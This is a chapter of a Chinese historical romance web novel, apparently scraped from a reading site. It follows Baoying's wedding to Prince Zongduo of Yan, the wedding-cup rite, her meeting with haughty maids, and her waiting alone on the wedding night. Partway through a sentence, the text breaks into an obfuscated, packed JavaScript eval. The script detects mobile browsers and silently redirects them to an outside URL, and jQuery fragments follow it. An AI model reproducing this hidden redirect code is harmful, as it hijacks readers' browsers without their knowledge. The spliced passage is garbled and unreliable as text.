默认冷灰
24号文字
方正启体

2. 兴师动众的成亲

作者:九方沅本书字数:K更新时间:
    翌日寅时,四角菱花窗框住鸭蛋青的天色,天光还未破晓,宝楹便被一群喜娘拽了起来。


    为首的是个四五十岁穿宫装的姑姑,据说是宫里派过来给她开脸梳妆的。


    宝楹昨夜胡思乱想,至下半夜方睡着。没睡够两个时辰,又被拖起来梳妆打扮。她迷迷瞪瞪地坐在妆台前打瞌睡,像个乖巧的布娃娃般,任由那些喜娘在她脸上身上摆弄。


    待上好妆,听着周围一片此起彼伏的夸赞声,宝楹终于清醒了些许,不经意瞥到花枝铜镜中的小娘子,满腔睡意顿时飞到了九霄云外。


    这、这是她?


    镜中的少女描眉画鬓,额间贴着金灿灿的花钿,一张樱桃口涂得娇艳欲滴,盈润雪腮也打满了桃花粉。黑琉璃般的眸子顾盼之间,竟莫名有股欲语还休的妩媚之意。


    喜娘们交叠着赞不绝口:“难怪姑娘能当王妃,这样的好颜色,满京城也挑不出一个来。”


    在一片赞颂声里,喜娘们错落有致地给她套上凤冠霞帔,层层叠叠,红罗纱,织金锦,玉革带。


    好沉好重,宝楹头都快抬不起来了。


    可是等到临出门那一刻,房门对开,朝阳像条金带子一样直铺到宝楹脚边,她又觉得这一切是值得的了。


    闺阁少女梦中的婚礼不外如是,喜服上绣的并蒂莲纹在朝阳下浮光跃金,踩着日光迈步走出去,仿佛一步步迈向光明灿烂的前路。


    宝楹没有亲兄弟,由大表兄卫辑背着她上了喜轿。


    按制,亲王成婚不必亲迎,过来接亲的是燕王府的长史,姓萧,是个儒雅稳重的中年文士。随行的王府仪仗严整肃穆,喜轿一路走到燕王府的正殿前才停下。


    喜娘搀着宝楹出了轿子,往她手上递过来一段红绸。


    宝楹接过来,红绸中间结着个花球,可以感受到另一端也有人牵着。


    那应当就是要跟她携手共度一生的人了。


    宝楹按捺不住好奇,只是她头上罩着流苏坠金珠的红盖头,只能用余光悄悄往下瞟,借着盖头的缝隙瞧见一双绣金线乌缎登云履。


    他的步子迈得极稳,履靴之上是红色喜服的襕边,随着步伐轻轻摆动。


    “看路。”


    耳边响起一道沉润的男声,磁性中带着漱雪般的淡冷,很好听。宝楹一个分心,脚下立刻被台阶一绊,整个人往前扑倒。


    她的心猛地跳漏了一拍,千钧一发之际,一只手伸过来稳稳扶住她的臂弯,稳住了她向前倾倒的身形。


    一旁的喜婆立刻笑道:“这还没进门就开始互相扶持了,可见日后必定琴瑟和鸣,和和美美。”


    饶是有喜婆打圆场,宝楹还是听到了宾客中的一些谑笑。因视线受阻,反而将那些窃窃私语听得格外清楚:


    “听说新娘子是小门小户出身,难怪这么上不了台面。”


    什么啊,宝楹气得轻咬贝齿,明明是宗铎突然开口害得她分心!


    “这也难怪,小麻雀变凤凰,一时失态也是有的。”


    可恶,她可没想着高攀,是宗铎求着要娶她的。


    步入喜堂,新人在傧相的引导下行过拜堂礼,又被喜娘引着进了新房行合卺礼。


    宝楹乖巧地坐在床上,隔着红蒙蒙的盖头,影影绰绰地瞧见新房里聚着一堆人,傧相在旁边主持着坐床、撒帐……


    红枣花生桂圆向像雨点一样洒在她身上,那傧相口中念念有词:“一撒荣华富贵,二撒金玉满堂,三撒三元及第,四撒龙凤呈祥……”


    宝楹听得都快睡着了。


    终于她听到一声“新郎官掀盖头”,顿时精神一振,重头戏终于来了。


    她迫不及待地抬眸张望,忽然又想起出门前喜娘教她的,跟新郎的初见须得矜持婉约——要秀目低垂,含情脉脉地望上去,对视一眼,再把眼波慢慢转下来。


    她连忙垂下眼睛,忽然面前一亮,盖头已经被喜秤挑开了。


    “哇……”观礼的宾客发出数声惊叹。


    宝楹心头一慌,哪里还顾得上装模作样,愣愣地抬起眼皮,猝不及防地撞进一双沉静幽亮的眼眸里。


    那双深浓泛金的乌瞳清晰倒映着她的形容,小圆脸,下颌尖尖,大而圆的水杏眼里闪过的紧张无措……倒像跟自己对视了一眼似的。


    宝楹愣了一瞬,才回过神去看他的样貌。


    一张英俊绝伦的脸庞闯入她的眼底,窄面直颌,浓眉斜飞入鬓,半挑的丹凤眼,鼻梁骨又挺又直,薄唇却有着微弓的弧度。


    他神色无波地望下来,身旁是一对烧得正旺的龙凤红烛,摇曳着金色的光芒。喜庆热烈的新房里,那张俊美而没有表情的脸像一轮清冷的月,淡漠而疏离。


    宝楹一时有些怔忪。


    “新娘子不怕羞,盯着新郎官看得不眨眼呢。”


    一旁的喜娘打趣道。


    一屋子观礼的人都笑起来。


    在一片打趣与赞美的笑声中,宝楹羞涩地低下头别开视线,又忍不住用余光瞥了他一眼。


    宗铎在她身边坐了下来,傧相捧来合卺酒,剖开的两半小葫芦,里头盛着清亮的酒液。


    按照习俗,两人须将瓢中之酒各饮一半,而后换过来,将对方瓢中之酒饮尽,取同甘共苦、永不分离之意。


    宝楹取过面前的酒瓢,小心翼翼地抿了一半入口。那酒液清甜醇厚,倒是不难喝。瞧着他将喝过的酒瓢递了过来,她也忙回递过去。


    交换时指尖相触,他的手指如玉箸般修长劲瘦,端着酒瓢的手背青筋微隆,劲力十分沉稳,酒水连微波都不曾漾起。


    宝楹又忍不住抬眼悄悄看他,却见宗铎拿着她喝过的那一半酒瓢,不动声色地避开上面的红口脂,从另一侧仰头饮尽了。


    什么嘛!他是不是嫌弃她?有本事今晚别亲她的嘴。


    宝楹不高兴了,可惜她这半瓢没有唇印,做不到以牙还牙,只好悄悄留了一口没喝掉,以示抗议。


    喝过合卺酒,宾客们都被请到前头吃席去了,新郎也要出去待客,新房里便只剩下宝楹一个人了。


    这时她才有空打量这间新房。她坐的床是金丝楠打的千工拔步床,雕花围栏上挂着大红锦带,银座烛台上点着成对的龙凤红烛,嵌在四周板壁上的琉璃棱镜反射着烛光,映照得整间新房亮如白昼。


    好大的屋子啊!宝楹惊叹,这比她家会客的厅堂还大。单就这张床,睡下她和如茵和小帘还绰绰有余,在上面打滚都没问题。


    宝楹美滋滋地躺倒在床,不料被褥子上的红枣花生等物硌着了腰。她悻悻坐起来,剥了一颗花生送进嘴里,这才惊觉自己大半天滴米未进,早就饥肠辘辘了。


    “小帘!”宝楹往外头喊了一声。


    珠帘卷起,逶迤走进来数个宫装侍女。为首的是个四十上下的圆脸姑姑,端庄整齐地朝宝楹行了一礼:“奴婢拜见王妃。”


    原来这圆脸姑姑姓孙,是宗铎的乳母,自他开府后便跟了出来掌摄王府内务。


    孙姑姑生得慈眉善目,顾盼间却自有一股威严,一身气度胜过许多官家太太。


    她给宝楹介绍身后的四个侍女:


    她们均是十七八岁的模样,名字分别唤作:白露、青霜、红霞、素雪,是徐贤妃宫里拨过来的一等宫女。


    孙姑姑告诉宝楹,亲王妃身边的一等婢女定额是八人。按照惯例


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149184|196416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,王妃娘家会陪嫁四人,宫里再拨四人。施家只陪嫁了小帘一个人过来,所以如今正院只有五位一等婢女。


    “奴婢会禀明贤妃娘娘,届时再拨三人过来补足缺额。”


    宝楹连忙摇手:“不必了,五个人已经很多了。”


    老天啊,她家的丫鬟小厮杂役加起来也就六七个人,这王府竟然一个主子就配八个婢女,还有没有天理了!


    当然,她没留意到这只是一等婢女的份额。事实上,单是整座正院,负责各种杂事的宫女内侍便足有数十人之多。


    孙姑姑很好说话,含笑道:“那么王妃今后看谁得用,再慢慢提拔上来。奴婢还要到前头去待客,王妃有什么要求,只管吩咐白露她们去做。”


    说着,又是盈盈一礼,莲步轻移地退下了。


    宫里出来的人仪态真好啊!宝楹的目光望着孙姑姑的背影,直到完全看不见了,方慢慢移到面前的四位婢女身上。


    不知为何,她直觉这四人不如孙姑姑好说话。


    “那个,我想弄点东西吃,成吗?”宝楹小心翼翼地开口。


    红霞朝她行了一礼:“奴婢是管饮食膳药的,王妃若要吃什么,吩咐奴婢便是。”


    “要酱肘子,烧乳鸽,水晶鱼脍,还有一大碗香香软软的蒸米饭。”


    宝楹很谨慎,点的都是平时吃喜酒时会上的菜。


    “噗嗤——”四个婢女面色古怪地笑了一声。


    四婢中为首的白露开口道:“王妃,你以为你是来吃喜酒的呢?殿下不定什么时候会过来,王妃的当务之急是卸妆沐浴,随便吃点东西填填肚子得了。”


    红霞忍笑道:“奴婢去给王妃端一碟糕点来吧。”


    宝楹很郁闷,这个白露说话时带着一股盛气凌人的劲儿,不知道的还以为她才是主子呢!不过她是贤妃娘娘派来的人,还是不要跟她计较了。


    于是她老实地任由白露三人上前给她卸下钗环,又脱掉层层叠叠的喜服,到后头的浴房里沐浴更衣。


    一通折腾下来,换上了轻软的红绸寝衣,长发也披散了下来,总算舒适多了,就是肚子愈发饥饿难耐。


    红霞端来一碟桃花酥,一碟水晶糕,宝楹把它们吃了个干干净净。


    填饱了肚子,白露等人都退了下去,宝楹端坐在床上静候她的新郎回来。


    半人高的龙凤红烛上火光摇曳轻舞,银座灯盘上渐渐淌满了烛泪,连前头的管乐笙歌都渐渐消散了。


    宝楹困得倚着雕花床柱打了好几回盹,打起精神一看板壁上的西洋钟——这也是稀罕物,她从前没见过,好在那钟上标着时辰,看样子只差两刻就到亥时了。


    她忍不住唤人进来:“前头的宴席还没散么?”


    白露漫不经心道:“回王妃,宴席早就散了,不过殿下在书房议事,不定什么时候回来,王妃请自行安置吧。”


    宝楹睁大眼睛:“什么事情这般要紧,非得大婚当夜商议的?你去把他叫回来,我要洞房。”


    白露诧异地看了她一眼,悻悻道:“王妃也太不怜恤下人了,那是殿下的安排,我们做奴婢的怎敢多嘴?”


    宝楹知道这是个刁婢,也不跟她啰嗦,把她自己的陪嫁丫鬟小帘叫了进来:“小帘,你去把姑爷请回来!”


    “我?”小帘吃惊地指着自己。


    宝楹低头望了眼身上的红寝衣,无奈地摊开手:“总不能我去吧?”


    说完,怕小帘办事不力,又招手把她叫到跟前,如此这般地交代了一番。


    “啊?真的要这样说吗?”


    小帘为难得直挠头,可是为了自家小姐的幸福,只好硬着头皮出门了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)